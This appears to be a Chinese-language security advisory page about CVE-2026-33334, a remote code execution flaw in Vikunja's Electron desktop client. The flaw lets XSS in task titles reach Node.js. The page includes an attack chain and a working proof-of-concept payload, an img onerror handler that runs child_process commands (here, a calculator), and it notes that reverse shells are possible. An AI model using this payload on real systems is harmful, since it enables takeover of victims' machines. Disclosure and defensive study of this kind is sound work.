IPBUF安全漏洞报告
English
CVE-2026-33334 CVSS 9.6 严重

CVE-2026-33334 Vikunja桌面版远程代码执行漏洞

披露日期: 2026-03-24

漏洞信息

漏洞编号
CVE-2026-33334
漏洞类型
远程代码执行 (RCE)
CVSS评分
9.6 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
Vikunja

相关标签

RCEXSSElectronVikunjaNode.js代码执行

漏洞概述

Vikunja是一款开源自托管任务管理平台。在0.21.0至2.2.0之前的版本中,其桌面版Electron包装器在渲染进程中启用了`nodeIntegration`,且未配置`contextIsolation`或`sandbox`。这种不安全的配置导致Web前端的任意跨站脚本(XSS)漏洞均可自动升级为受害者机器上的完全远程代码执行(RCE),攻击者可通过注入脚本直接访问Node.js API,从而控制系统。

技术细节

该漏洞的核心在于Vikunja Desktop Electron应用程序的不安全配置。通常,Electron应用应禁用渲染进程的`nodeIntegration`以防止网页直接访问Node.js环境,或者至少结合`contextIsolation`和`sandbox`来隔离渲染进程。然而,受影响版本不仅启用了`nodeIntegration`,还关闭了沙箱和上下文隔离。这种配置消除了Web前端与底层操作系统之间的安全边界。一旦攻击者在Vikunja的Web界面中发现并利用一个XSS漏洞(例如通过创建包含恶意脚本的任务标题),当受害者使用桌面客户端查看该内容时,恶意JavaScript代码将直接在Node.js上下文中执行。攻击者可以利用`require('child_process')`模块执行任意系统命令,如弹出计算器、读取敏感文件或建立反向Shell,从而完全控制受害者的主机。这本质上是一个从Web漏洞到本地系统RCE的致命跨越。

攻击链分析

STEP 1
1. 载荷构造
攻击者构造包含恶意JavaScript代码的XSS Payload,该代码利用Node.js的child_process模块调用系统命令。
STEP 2
2. 植入载荷
攻击者在Vikunja平台的任务标题或描述中输入上述Payload并保存。
STEP 3
3. 触发漏洞
受害者使用受影响的Vikunja Desktop客户端(版本<2.2.0)登录并浏览包含恶意载荷的任务列表。
STEP 4
4. 执行代码
由于Electron配置不当,渲染进程执行恶意JS,直接调用Node.js API在受害者本地执行任意命令,实现RCE。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- Exploit Payload: Inject this into a Vikunja task title or description. Trigger: Victim views the task using the vulnerable Vikunja Desktop client. --> <img src=x onerror=" const { exec } = require('child_process'); // Command to execute (example: Calculator on Windows) let cmd = 'calc.exe'; if(process.platform === 'darwin') { cmd = 'open /System/Applications/Calculator.app'; } else if(process.platform === 'linux') { cmd = 'gnome-calculator'; } exec(cmd, (error, stdout, stderr) => { if (error) { console.error(`exec error: ${error}`); return; } console.log(`Output: ${stdout}`); }); ">

影响范围

Vikunja Desktop >= 0.21.0, < 2.2.0

防御指南

临时缓解措施
在升级到安全版本之前,建议用户不要打开来源不明的共享Vikunja链接或任务。同时,可以在操作系统层面限制Vikunja应用的网络和文件访问权限(如使用AppArmor或SELinux),以减少潜在RCE带来的影响。管理员应严格审查Web前端的输入内容,防止XSS攻击。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表